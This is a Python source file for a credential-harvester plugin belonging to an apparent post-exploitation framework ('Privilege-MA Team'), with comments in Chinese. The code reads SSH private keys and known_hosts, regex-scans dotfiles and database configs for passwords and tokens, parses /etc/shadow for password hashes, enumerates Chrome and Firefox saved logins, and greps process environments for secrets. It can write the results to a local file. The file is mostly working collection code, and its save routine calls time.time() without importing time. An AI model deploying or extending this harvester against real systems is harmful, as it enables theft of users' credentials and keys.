#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
凭据收集插件示例
演示数据收集类插件的开发规范

功能:
1. 收集系统中的各种凭据信息
2. 解析配置文件中的密码
3. 提取浏览器保存的密码
4. 收集SSH密钥和配置
5. 扫描内存中的敏感信息
"""

import os
import re
import json
import sqlite3
import tempfile
import subprocess
from typing import Dict, List, Optional, Any, Tuple
from dataclasses import dataclass, field
from pathlib import Path
import base64
import hashlib

from ..base_plugin import (
    BasePlugin, PluginMetadata, PluginConfig, PluginResult, 
    PluginStatus, PluginType, PluginPriority
)

@dataclass
class Credential:
    """凭据信息"""
    source: str
    username: str
    password: str = ""
    hash_value: str = ""
    key_file: str = ""
    url: str = ""
    notes: str = ""
    confidence: float = 1.0

@dataclass
class CredentialCollection:
    """凭据集合"""
    credentials: List[Credential] = field(default_factory=list)
    ssh_keys: List[str] = field(default_factory=list)
    config_files: List[str] = field(default_factory=list)
    browser_data: Dict[str, Any] = field(default_factory=dict)
    system_hashes: Dict[str, str] = field(default_factory=dict)

class CredentialHarvesterPlugin(BasePlugin):
    """凭据收集插件"""
    
    def __init__(self, config: PluginConfig):
        """初始化插件"""
        # 设置插件元数据
        metadata = PluginMetadata(
            name="credential_harvester",
            version="1.0.0",
            description="系统凭据收集和提取插件",
            author="Privilege-MA Team",
            plugin_type=PluginType.DATA_COLLECTION,
            priority=PluginPriority.MEDIUM,
            requires_root=False,
            supported_platforms=["linux"],
            dependencies=["sqlite3"],
            config_schema={
                "collect_browsers": {"type": "bool", "default": True, "description": "收集浏览器密码"},
                "collect_ssh": {"type": "bool", "default": True, "description": "收集SSH密钥"},
                "collect_configs": {"type": "bool", "default": True, "description": "收集配置文件"},
                "collect_hashes": {"type": "bool", "default": False, "description": "收集系统哈希"},
                "scan_memory": {"type": "bool", "default": False, "description": "扫描内存"},
                "output_format": {"type": "str", "default": "json", "description": "输出格式"},
                "save_to_file": {"type": "bool", "default": False, "description": "保存到文件"},
                "max_file_size": {"type": "int", "default": 1048576, "description": "最大文件大小(字节)"}
            }
        )
        
        super().__init__(config, metadata)
        
        # 凭据收集结果
        self.collection = CredentialCollection()
        
        # 常见配置文件路径
        self.config_paths = [
            "~/.bashrc", "~/.bash_profile", "~/.zshrc",
            "~/.ssh/config", "~/.netrc", "~/.my.cnf",
            "~/.pgpass", "~/.mongorc.js", "~/.rediscli_history",
            "/etc/passwd", "/etc/shadow", "/etc/group",
            "/etc/mysql/my.cnf", "/etc/postgresql/postgresql.conf"
        ]
        
        # 浏览器数据路径
        self.browser_paths = {
            "chrome": "~/.config/google-chrome/Default/Login Data",
            "firefox": "~/.mozilla/firefox/*/logins.json",
            "chromium": "~/.config/chromium/Default/Login Data"
        }
        
        # 敏感文件模式
        self.sensitive_patterns = [
            r'password\s*[=:]\s*["\']?([^"\'\s]+)',
            r'passwd\s*[=:]\s*["\']?([^"\'\s]+)',
            r'pwd\s*[=:]\s*["\']?([^"\'\s]+)',
            r'secret\s*[=:]\s*["\']?([^"\'\s]+)',
            r'token\s*[=:]\s*["\']?([^"\'\s]+)',
            r'api_key\s*[=:]\s*["\']?([^"\'\s]+)',
            r'private_key\s*[=:]\s*["\']?([^"\'\s]+)'
        ]
    
    def initialize(self) -> bool:
        """初始化插件"""
        try:
            self.logger.info("初始化凭据收集插件...")
            
            # 检查权限
            current_user = os.getenv("USER", "unknown")
            self.logger.info(f"当前用户: {current_user}")
            
            # 检查依赖
            if not self._check_dependencies():
                self.logger.warning("部分依赖不可用，某些功能可能受限")
            
            return True
            
        except Exception as e:
            self.logger.error(f"插件初始化失败: {e}")
            return False
    
    def execute(self) -> PluginResult:
        """执行插件主要功能"""
        try:
            self.logger.info("开始收集系统凭据...")
            
            results = {
                "total_credentials": 0,
                "sources": [],
                "collection_summary": {},
                "warnings": [],
                "errors": []
            }
            
            # 1. 收集SSH密钥和配置
            if self.config.get_value("collect_ssh", True):
                self.logger.info("收集SSH凭据...")
                ssh_results = self._collect_ssh_credentials()
                results["collection_summary"]["ssh"] = ssh_results
                if ssh_results["count"] > 0:
                    results["sources"].append("ssh")
            
            # 2. 收集配置文件中的凭据
            if self.config.get_value("collect_configs", True):
                self.logger.info("扫描配置文件...")
                config_results = self._collect_config_credentials()
                results["collection_summary"]["configs"] = config_results
                if config_results["count"] > 0:
                    results["sources"].append("configs")
            
            # 3. 收集浏览器密码
            if self.config.get_value("collect_browsers", True):
                self.logger.info("收集浏览器密码...")
                browser_results = self._collect_browser_credentials()
                results["collection_summary"]["browsers"] = browser_results
                if browser_results["count"] > 0:
                    results["sources"].append("browsers")
            
            # 4. 收集系统哈希
            if self.config.get_value("collect_hashes", False):
                self.logger.info("收集系统哈希...")
                hash_results = self._collect_system_hashes()
                results["collection_summary"]["hashes"] = hash_results
                if hash_results["count"] > 0:
                    results["sources"].append("hashes")
            
            # 5. 内存扫描
            if self.config.get_value("scan_memory", False):
                self.logger.info("扫描内存中的凭据...")
                memory_results = self._scan_memory_credentials()
                results["collection_summary"]["memory"] = memory_results
                if memory_results["count"] > 0:
                    results["sources"].append("memory")
            
            # 统计结果
            results["total_credentials"] = len(self.collection.credentials)
            results["ssh_keys_found"] = len(self.collection.ssh_keys)
            results["config_files_scanned"] = len(self.collection.config_files)
            
            # 保存结果
            if self.config.get_value("save_to_file", False):
                output_file = self._save_results()
                results["output_file"] = output_file
            
            # 生成报告
            report = self._generate_report()
            results["report"] = report
            
            success = results["total_credentials"] > 0
            message = f"收集到 {results['total_credentials']} 个凭据，来源: {', '.join(results['sources'])}"
            
            return PluginResult(
                success=success,
                message=message,
                data=results
            )
            
        except Exception as e:
            self.logger.error(f"插件执行失败: {e}")
            return PluginResult(
                success=False,
                message=f"执行失败: {str(e)}",
                data={"error": str(e)}
            )
    
    def cleanup(self):
        """清理插件资源"""
        try:
            self.logger.info("清理凭据收集插件资源...")
            
            # 清理敏感数据
            self.collection = CredentialCollection()
            
        except Exception as e:
            self.logger.error(f"插件清理失败: {e}")
    
    def is_compatible(self) -> bool:
        """检查插件兼容性"""
        return os.name == 'posix'
    
    def _check_dependencies(self) -> bool:
        """检查依赖"""
        try:
            import sqlite3
            return True
        except ImportError:
            return False
    
    def _collect_ssh_credentials(self) -> Dict[str, Any]:
        """收集SSH凭据"""
        results = {"count": 0, "keys": [], "configs": [], "errors": []}
        
        try:
            ssh_dir = os.path.expanduser("~/.ssh")
            if not os.path.exists(ssh_dir):
                return results
            
            # 收集SSH私钥
            for key_file in ["id_rsa", "id_dsa", "id_ecdsa", "id_ed25519"]:
                key_path = os.path.join(ssh_dir, key_file)
                if os.path.exists(key_path):
                    try:
                        with open(key_path, 'r') as f:
                            key_content = f.read()
                        
                        self.collection.ssh_keys.append(key_path)
                        results["keys"].append({
                            "file": key_path,
                            "type": key_file,
                            "encrypted": "ENCRYPTED" in key_content
                        })
                        results["count"] += 1
                        
                        # 添加到凭据集合
                        credential = Credential(
                            source="ssh_key",
                            username="",
                            key_file=key_path,
                            notes=f"SSH private key: {key_file}"
                        )
                        self.collection.credentials.append(credential)
                        
                    except Exception as e:
                        results["errors"].append(f"读取SSH密钥失败 {key_path}: {e}")
            
            # 收集SSH配置
            config_file = os.path.join(ssh_dir, "config")
            if os.path.exists(config_file):
                try:
                    with open(config_file, 'r') as f:
                        config_content = f.read()
                    
                    # 解析SSH配置中的主机信息
                    hosts = re.findall(r'Host\s+(\S+)', config_content)
                    users = re.findall(r'User\s+(\S+)', config_content)
                    
                    results["configs"].append({
                        "file": config_file,
                        "hosts": hosts,
                        "users": users
                    })
                    
                    self.collection.config_files.append(config_file)
                    
                except Exception as e:
                    results["errors"].append(f"读取SSH配置失败: {e}")
            
            # 收集known_hosts
            known_hosts = os.path.join(ssh_dir, "known_hosts")
            if os.path.exists(known_hosts):
                try:
                    with open(known_hosts, 'r') as f:
                        hosts_content = f.read()
                    
                    # 提取主机信息
                    host_entries = len(hosts_content.strip().split('\n'))
                    results["known_hosts"] = host_entries
                    
                except Exception as e:
                    results["errors"].append(f"读取known_hosts失败: {e}")
            
        except Exception as e:
            results["errors"].append(f"SSH凭据收集失败: {e}")
        
        return results
    
    def _collect_config_credentials(self) -> Dict[str, Any]:
        """收集配置文件中的凭据"""
        results = {"count": 0, "files": [], "credentials": [], "errors": []}
        
        for config_path in self.config_paths:
            try:
                expanded_path = os.path.expanduser(config_path)
                
                # 处理通配符路径
                if '*' in expanded_path:
                    import glob
                    matching_files = glob.glob(expanded_path)
                else:
                    matching_files = [expanded_path] if os.path.exists(expanded_path) else []
                
                for file_path in matching_files:
                    if not os.path.isfile(file_path):
                        continue
                    
                    try:
                        # 检查文件大小
                        file_size = os.path.getsize(file_path)
                        max_size = self.config.get_value("max_file_size", 1048576)
                        
                        if file_size > max_size:
                            self.logger.warning(f"跳过大文件: {file_path} ({file_size} bytes)")
                            continue
                        
                        with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
                            content = f.read()
                        
                        # 搜索敏感信息
                        file_credentials = self._extract_credentials_from_text(content, file_path)
                        
                        if file_credentials:
                            results["files"].append(file_path)
                            results["credentials"].extend(file_credentials)
                            results["count"] += len(file_credentials)
                            
                            self.collection.config_files.append(file_path)
                            self.collection.credentials.extend(file_credentials)
                        
                    except PermissionError:
                        results["errors"].append(f"无权限访问: {file_path}")
                    except Exception as e:
                        results["errors"].append(f"读取文件失败 {file_path}: {e}")
                        
            except Exception as e:
                results["errors"].append(f"处理路径失败 {config_path}: {e}")
        
        return results
    
    def _extract_credentials_from_text(self, content: str, source: str) -> List[Credential]:
        """从文本中提取凭据"""
        credentials = []
        
        for pattern in self.sensitive_patterns:
            matches = re.finditer(pattern, content, re.IGNORECASE)
            
            for match in matches:
                value = match.group(1)
                
                # 过滤明显不是密码的值
                if self._is_likely_credential(value):
                    credential = Credential(
                        source=f"config_file:{source}",
                        username="",
                        password=value,
                        notes=f"Found pattern: {pattern}",
                        confidence=self._calculate_confidence(value, pattern)
                    )
                    credentials.append(credential)
        
        return credentials
    
    def _is_likely_credential(self, value: str) -> bool:
        """判断是否可能是凭据"""
        # 过滤条件
        if len(value) < 3:
            return False
        
        # 排除常见的非密码值
        excluded_values = {
            "password", "secret", "token", "key", "none", "null", 
            "true", "false", "yes", "no", "0", "1", "localhost",
            "example", "test", "demo", "sample"
        }
        
        if value.lower() in excluded_values:
            return False
        
        # 排除路径
        if value.startswith('/') or '\\' in value:
            return False
        
        return True
    
    def _calculate_confidence(self, value: str, pattern: str) -> float:
        """计算凭据可信度"""
        confidence = 0.5
        
        # 长度加分
        if len(value) >= 8:
            confidence += 0.2
        
        # 复杂度加分
        if re.search(r'[A-Z]', value):
            confidence += 0.1
        if re.search(r'[a-z]', value):
            confidence += 0.1
        if re.search(r'[0-9]', value):
            confidence += 0.1
        if re.search(r'[!@#$%^&*()_+\-=\[\]{};\':"\\|,.<>\?]', value):
            confidence += 0.1
        
        # 模式加分
        if 'password' in pattern.lower():
            confidence += 0.2
        
        return min(confidence, 1.0)
    
    def _collect_browser_credentials(self) -> Dict[str, Any]:
        """收集浏览器密码"""
        results = {"count": 0, "browsers": {}, "errors": []}
        
        for browser, db_path in self.browser_paths.items():
            try:
                expanded_path = os.path.expanduser(db_path)
                
                # 处理Firefox通配符路径
                if '*' in expanded_path:
                    import glob
                    matching_files = glob.glob(expanded_path)
                else:
                    matching_files = [expanded_path] if os.path.exists(expanded_path) else []
                
                browser_results = {"count": 0, "credentials": [], "errors": []}
                
                for db_file in matching_files:
                    if browser == "firefox":
                        creds = self._extract_firefox_credentials(db_file)
                    else:
                        creds = self._extract_chrome_credentials(db_file)
                    
                    browser_results["credentials"].extend(creds)
                    browser_results["count"] += len(creds)
                
                if browser_results["count"] > 0:
                    results["browsers"][browser] = browser_results
                    results["count"] += browser_results["count"]
                    
                    # 添加到凭据集合
                    self.collection.credentials.extend(browser_results["credentials"])
                
            except Exception as e:
                results["errors"].append(f"收集{browser}密码失败: {e}")
        
        return results
    
    def _extract_chrome_credentials(self, db_path: str) -> List[Credential]:
        """提取Chrome/Chromium密码"""
        credentials = []
        
        try:
            # 复制数据库文件（避免锁定）
            with tempfile.NamedTemporaryFile(delete=False) as temp_file:
                with open(db_path, 'rb') as src:
                    temp_file.write(src.read())
                temp_db = temp_file.name
            
            # 连接数据库
            conn = sqlite3.connect(temp_db)
            cursor = conn.cursor()
            
            # 查询登录数据
            cursor.execute("""
                SELECT origin_url, username_value, password_value 
                FROM logins
            """)
            
            for row in cursor.fetchall():
                url, username, encrypted_password = row
                
                # Chrome密码是加密的，这里只记录存在
                credential = Credential(
                    source="chrome_browser",
                    username=username,
                    password="[ENCRYPTED]",
                    url=url,
                    notes="Chrome encrypted password"
                )
                credentials.append(credential)
            
            conn.close()
            os.unlink(temp_db)
            
        except Exception as e:
            self.logger.debug(f"提取Chrome密码失败: {e}")
        
        return credentials
    
    def _extract_firefox_credentials(self, json_path: str) -> List[Credential]:
        """提取Firefox密码"""
        credentials = []
        
        try:
            with open(json_path, 'r') as f:
                data = json.load(f)
            
            logins = data.get('logins', [])
            
            for login in logins:
                credential = Credential(
                    source="firefox_browser",
                    username=login.get('encryptedUsername', ''),
                    password="[ENCRYPTED]",
                    url=login.get('hostname', ''),
                    notes="Firefox encrypted password"
                )
                credentials.append(credential)
                
        except Exception as e:
            self.logger.debug(f"提取Firefox密码失败: {e}")
        
        return credentials
    
    def _collect_system_hashes(self) -> Dict[str, Any]:
        """收集系统哈希"""
        results = {"count": 0, "hashes": {}, "errors": []}
        
        try:
            # 尝试读取/etc/shadow
            shadow_file = "/etc/shadow"
            if os.path.exists(shadow_file):
                try:
                    with open(shadow_file, 'r') as f:
                        shadow_content = f.read()
                    
                    # 解析shadow文件
                    for line in shadow_content.strip().split('\n'):
                        if ':' in line:
                            parts = line.split(':')
                            if len(parts) >= 2:
                                username = parts[0]
                                hash_value = parts[1]
                                
                                if hash_value and hash_value not in ['*', '!', '!!']:
                                    results["hashes"][username] = hash_value
                                    results["count"] += 1
                                    
                                    # 添加到凭据集合
                                    credential = Credential(
                                        source="system_shadow",
                                        username=username,
                                        hash_value=hash_value,
                                        notes="System password hash"
                                    )
                                    self.collection.credentials.append(credential)
                    
                except PermissionError:
                    results["errors"].append("无权限读取/etc/shadow")
                except Exception as e:
                    results["errors"].append(f"读取shadow文件失败: {e}")
            
        except Exception as e:
            results["errors"].append(f"收集系统哈希失败: {e}")
        
        return results
    
    def _scan_memory_credentials(self) -> Dict[str, Any]:
        """扫描内存中的凭据"""
        results = {"count": 0, "processes": [], "errors": []}
        
        try:
            # 这里只是示例，实际内存扫描需要更复杂的实现
            self.logger.info("内存扫描功能暂未完全实现")
            
            # 可以尝试扫描进程的环境变量
            try:
                result = subprocess.run(['ps', 'auxe'], 
                                      capture_output=True, 
                                      text=True, 
                                      timeout=10)
                
                if result.returncode == 0:
                    # 在进程列表中搜索敏感信息
                    for line in result.stdout.split('\n'):
                        for pattern in self.sensitive_patterns:
                            matches = re.findall(pattern, line, re.IGNORECASE)
                            for match in matches:
                                if self._is_likely_credential(match):
                                    credential = Credential(
                                        source="process_memory",
                                        username="",
                                        password=match,
                                        notes=f"Found in process: {line[:50]}..."
                                    )
                                    self.collection.credentials.append(credential)
                                    results["count"] += 1
                
            except Exception as e:
                results["errors"].append(f"进程扫描失败: {e}")
            
        except Exception as e:
            results["errors"].append(f"内存扫描失败: {e}")
        
        return results
    
    def _save_results(self) -> str:
        """保存收集结果"""
        try:
            output_format = self.config.get_value("output_format", "json")
            timestamp = int(time.time())
            
            if output_format == "json":
                filename = f"credentials_{timestamp}.json"
                data = {
                    "timestamp": timestamp,
                    "total_credentials": len(self.collection.credentials),
                    "credentials": [
                        {
                            "source": cred.source,
                            "username": cred.username,
                            "password": cred.password if cred.password != "[ENCRYPTED]" else "",
                            "hash": cred.hash_value,
                            "url": cred.url,
                            "notes": cred.notes,
                            "confidence": cred.confidence
                        }
                        for cred in self.collection.credentials
                    ],
                    "ssh_keys": self.collection.ssh_keys,
                    "config_files": self.collection.config_files
                }
                
                with open(filename, 'w') as f:
                    json.dump(data, f, indent=2)
            
            else:
                filename = f"credentials_{timestamp}.txt"
                with open(filename, 'w') as f:
                    f.write("=== 凭据收集报告 ===\n\n")
                    f.write(f"收集时间: {timestamp}\n")
                    f.write(f"总计凭据: {len(self.collection.credentials)}\n\n")
                    
                    for i, cred in enumerate(self.collection.credentials, 1):
                        f.write(f"凭据 #{i}\n")
                        f.write(f"  来源: {cred.source}\n")
                        f.write(f"  用户名: {cred.username}\n")
                        if cred.password:
                            f.write(f"  密码: {cred.password}\n")
                        if cred.hash_value:
                            f.write(f"  哈希: {cred.hash_value}\n")
                        if cred.url:
                            f.write(f"  URL: {cred.url}\n")
                        f.write(f"  备注: {cred.notes}\n")
                        f.write(f"  可信度: {cred.confidence:.2f}\n\n")
            
            self.logger.info(f"结果已保存到: {filename}")
            return filename
            
        except Exception as e:
            self.logger.error(f"保存结果失败: {e}")
            return ""
    
    def _generate_report(self) -> Dict[str, Any]:
        """生成收集报告"""
        report = {
            "summary": {
                "total_credentials": len(self.collection.credentials),
                "ssh_keys": len(self.collection.ssh_keys),
                "config_files": len(self.collection.config_files),
                "unique_sources": len(set(cred.source for cred in self.collection.credentials))
            },
            "by_source": {},
            "high_confidence": [],
            "recommendations": []
        }
        
        # 按来源分组
        for cred in self.collection.credentials:
            source = cred.source
            if source not in report["by_source"]:
                report["by_source"][source] = 0
            report["by_source"][source] += 1
        
        # 高可信度凭据
        for cred in self.collection.credentials:
            if cred.confidence >= 0.8:
                report["high_confidence"].append({
                    "source": cred.source,
                    "username": cred.username,
                    "confidence": cred.confidence
                })
        
        # 安全建议
        if len(self.collection.ssh_keys) > 0:
            report["recommendations"].append("发现SSH私钥，建议检查密钥安全性")
        
        if any(cred.source.startswith("config_file") for cred in self.collection.credentials):
            report["recommendations"].append("配置文件中发现明文密码，建议使用加密存储")
        
        if len(report["high_confidence"]) > 0:
            report["recommendations"].append("发现高可信度凭据，建议立即更改相关密码")
        
        return report

# 使用示例
if __name__ == "__main__":
    print("=== 凭据收集插件测试 ===")
    
    # 创建配置
    config = PluginConfig({
        "collect_browsers": True,
        "collect_ssh": True,
        "collect_configs": True,
        "save_to_file": False
    })
    
    # 创建插件实例
    plugin = CredentialHarvesterPlugin(config)
    
    # 初始化插件
    if plugin.initialize():
        print("插件初始化成功")
        
        # 执行插件
        result = plugin.execute()
        
        print(f"执行结果: {result.success}")
        print(f"消息: {result.message}")
        
        if result.data:
            print("收集统计:")
            summary = result.data.get("collection_summary", {})
            for source, stats in summary.items():
                print(f"  {source}: {stats.get('count', 0)} 个凭据")
        
        # 清理
        plugin.cleanup()
    else:
        print("插件初始化失败")